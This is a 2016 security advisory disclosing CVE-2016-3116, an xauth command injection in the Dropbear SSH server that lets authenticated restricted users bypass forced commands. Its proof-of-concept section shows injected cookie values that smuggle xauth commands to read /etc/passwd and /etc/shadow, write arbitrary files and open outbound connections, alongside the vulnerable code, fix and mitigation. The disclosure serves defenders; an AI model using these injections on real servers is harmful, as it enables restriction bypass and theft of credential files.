VuNote
============
 
    Author:     <github.com/tintinweb>
    Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
    Version:    0.2
    Date:       Mar 3rd, 2016
     
    Tag:        dropbearsshd xauth command injection may lead to forced-command bypass
 
Overview
--------
 
    Name:           dropbear
    Vendor:         Matt Johnston
    References:     * https://matt.ucc.asn.au/dropbear/dropbear.html [1]
     
    Version:        2015.71
    Latest Version: 2015.71
    Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
    Platform(s):    linux
    Technology:     c
 
    Vuln Classes:   CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
    Origin:         remote
    Min. Privs.:    post auth
 
    CVE:            CVE-2016-3116
 
 
 
Description
---------
 
quote website [1]
 
>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.
 
Summary
-------
 
An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.
 
By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass
account restriction. This is generally not expected.
 
The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.
 
Quick-Info:
 
* requires: X11Forwarding yes
* does *NOT* bypass /bin/false due to special treatment (like nologin)
* bypasses forced-commands (allows arbitr. read/write)
 
Capabilities (xauth):
 
* Xauth
    * write file: limited chars, xauthdb format
    * read file: limit lines cut at first \s
    * infoleak: environment
    * connect to other devices (may allow port probing)
 
 
see attached PoC
 
 
Details
-------
 
// see annotated code below
 
    * x11req (svr-x11fwd.c:46)
       
    * execchild (svr-chansession.c:893)
     *- x11setauth (svr-x11fwd.c:129)
 
Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, dropbear will
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.
 
This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
command injection:
 
    SYNOPSIS
        xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]
 
        add displayname protocolname hexkey
        generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
        [n]extract filename displayname...
        [n]list [displayname...]
        [n]merge [filename...]
        remove displayname...
        source filename
        info 
        exit
        quit
        version
        help
        ?
         
Interesting commands are:
     
    info     - leaks environment information / path
            ~# xauth info
            xauth:  file /root/.Xauthority does not exist
            Authority file:       /root/.Xauthority
            File new:             yes
            File locked:          no
            Number of entries:    0
            Changes honored:      yes
            Changes made:         no
            Current input:        (argv):1
     
    source   - arbitrary file read (cut on first `\s`)
            # xauth source /etc/shadow
            xauth:  file /root/.Xauthority does not exist
            xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
                         
    extract  - arbitrary file write
             * limited characters
             * in xauth.db format
             * since it is not compressed it can be combined with `xauth add` to
               first store data in the database and then export it to an arbitrary
               location e.g. to plant a shell or do other things.
     
    generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
               vulnerabilities in X.org
     
     
Source
------
 
Inline annotations are prefixed with `//#!`
 
* handle x11 request, stores cookie in `chansess`
    ```c
    /* called as a request for a session channel, sets up listening X11 */
    /* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
    int x11req(struct ChanSess * chansess) {
     
        int fd;
     
        /* we already have an x11 connection */
        if (chansess->x11listener != NULL) {
            return DROPBEAR_FAILURE;
        }
     
        chansess->x11singleconn = buf_getbyte(ses.payload);
        chansess->x11authprot = buf_getstring(ses.payload, NULL);            //#! store user tainted data
        chansess->x11authcookie = buf_getstring(ses.payload, NULL);          //#! store user tainted data
        chansess->x11screennum = buf_getint(ses.payload);
    ```
     
* set auth cookie/authprot
 
    ```c
    /* This is called after switching to the user, and sets up the xauth
     * and environment variables.  */
    void x11setauth(struct ChanSess *chansess) {
     
        char display[20]; /* space for "localhost:12345.123" */
        FILE * authprog = NULL;
        int val;
     
        if (chansess->x11listener == NULL) {
            return;
        }
     
        ...
     
        /* popen is a nice function - code is strongly based on OpenSSH's */
        authprog = popen(XAUTH_COMMAND, "w");                                       //#!  run xauth binary
        if (authprog) {
            fprintf(authprog, "add %s %s %s\n",
                    display, chansess->x11authprot, chansess->x11authcookie);     //#!  \n injection in cookie, authprot
            pclose(authprog);
        } else {
            fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
        }
    }
    ```
 
Proof of Concept
----------------
 
Prerequisites:
 
* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* run `poc.py`
 
Note: see cve-2016-3115 [3] for `poc.py`
 
     Usage: <host> <port> <username> <password or path_to_privkey>
             
            path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
             
 
poc:
 
1. configure one user (user1) for `force-commands`:
    ```c
    #PUBKEY line - force commands: only allow "whoami"
    #cat /home/user1/.ssh/authorized_keys
    command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box
 
    #cat /etc/passwd
    user1:x:1001:1001:,,,:/home/user1:/bin/bash
    ```
         
2. run dropbearsshd (x11fwd is on by default)
 
    ```c
    #> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
    [22861] Not backgrounding
    [22862] Child connection from 192.168.139.1:49597
    [22862] Forced command 'whoami'
    [22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
    ```
 
3. `forced-commands` - connect with user1 and display env information
 
    ```c
    #> python <host> 2222 user1 .demoprivkey
     
    INFO:__main__:add this line to your authorized_keys file:
    #PUBKEY line - force commands: only allow "whoami"
    #cat /home/user/.ssh/authorized_keys
    command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
     
    INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
    INFO:__main__:connected!
    INFO:__main__:
    Available commands:
        .info
        .readfile <path>
        .writefile <path> <data>
        .exit .quit
        <any xauth command or type help>
     
    #> .info
    DEBUG:__main__:auth_cookie: '\ninfo'
    DEBUG:__main__:dummy exec returned: None
    INFO:__main__:Authority file:       /home/user1/.Xauthority
    File new:             no
    File locked:          no
    Number of entries:    2
    Changes honored:      yes
    Changes made:         no
    Current input:        (stdin):2
    user1
    /usr/bin/xauth: (stdin):1:  bad "add" command line
     
    ...
    ```
     
4. `forced-commands` - read `/etc/passwd`
 
    ```c
    ...
    #> .readfile /etc/passwd
    DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
    DEBUG:__main__:dummy exec returned: None
    INFO:__main__:root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    ...
    ```
         
5. `forced-commands` - write `/tmp/testfile`
 
    ```c
    #> .writefile /tmp/testfile1 `thisisatestfile`
    DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
    DEBUG:__main__:dummy exec returned: None
    DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
    DEBUG:__main__:dummy exec returned: None
    DEBUG:__main__:user1
    /usr/bin/xauth: (stdin):1:  bad "add" command line
     
    #> INFO:__main__:/tmp/testfile1
     
    #> ls -lsat /tmp/testfile1
    4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
     
    #> cat /tmp/testfile1
    ú65500hiú65500`thisisatestfile`ªr
    ```
     
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100
 
    ```c
    #> generate 8.8.8.8:100
    DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
    DEBUG:__main__:dummy exec returned: None
    INFO:__main__:user1
    /usr/bin/xauth: (stdin):1:  bad "add" command line
    /usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".
     
    #> tcpdump
    IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
    ```
 
Fix
---
 
* Sanitize user-tainted input `chansess->x11authcookie`
 
 
Mitigation / Workaround
------------------------
 
* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`
 
Notes
-----
 
Thanks to the OpenSSH team for coordinating the fix!
 
Vendor response see: changelog [4]
 
 
References
----------
 
    [1] https://matt.ucc.asn.au/dropbear/dropbear.html
    [2] http://linux.die.net/man/1/xauth
    [3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
    [4] https://matt.ucc.asn.au/dropbear/CHANGES
     
Contact
-------
 
    https://github.com/tintinweb